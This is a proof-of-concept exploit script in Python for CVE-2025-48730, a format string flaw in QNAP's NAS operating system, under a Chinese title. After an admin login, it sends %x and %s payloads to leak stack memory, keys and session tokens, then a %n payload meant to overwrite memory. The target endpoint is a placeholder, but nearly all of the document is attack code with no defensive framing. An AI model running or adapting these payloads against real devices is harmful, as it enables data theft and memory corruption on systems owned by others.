CVE-2025-48730 QNAP操作系统外部可控格式字符串漏洞

# CVE-2025-48730 - QNAP Format String Vulnerability PoC # This PoC demonstrates the concept of exploiting an externally-controlled format string vulnerability. # Note: Attacker must already have administrator credentials to trigger this vulnerability. import requests TARGET_URL = "https://<qnap-nas-ip>:<port>" ADMIN_USER = "admin" ADMIN_PASS = "password" # Step 1: Authenticate as administrator session = requests.Session() login_payload = { "username": ADMIN_USER, "password": ADMIN_PASS } session.post(f"{TARGET_URL}/cgi-bin/authLogin.cgi", data=login_payload) # Step 2: Inject format string specifiers into a vulnerable parameter # The vulnerable endpoint passes user-controlled input directly to a printf-family function vulnerable_params = { "input": "%x.%x.%x.%x.%x.%x.%x.%x" # Leak stack memory contents } response = session.post(f"{TARGET_URL}/cgi-bin/vulnerable_endpoint.cgi", data=vulnerable_params) # Step 3: Analyze the response for leaked memory data print("[*] Leaked stack data:") print(response.text) # Step 4: Attempt to read specific memory address using %s # This can leak secrets such as encryption keys or session tokens read_payload = { "input": "%s%s%s%s%s%s%s%s%s%s" # Attempt to read string data from stack } response = session.post(f"{TARGET_URL}/cgi-bin/vulnerable_endpoint.cgi", data=read_payload) print("[*] Attempted memory read:") print(response.text) # Step 5: Use %n to write to memory (advanced exploitation) # This can overwrite critical variables or function pointers write_payload = { "input": "AAAA%8x%8x%8x%8x%n" # Write controlled value to memory } response = session.post(f"{TARGET_URL}/cgi-bin/vulnerable_endpoint.cgi", data=write_payload) print("[*] Memory write attempt completed")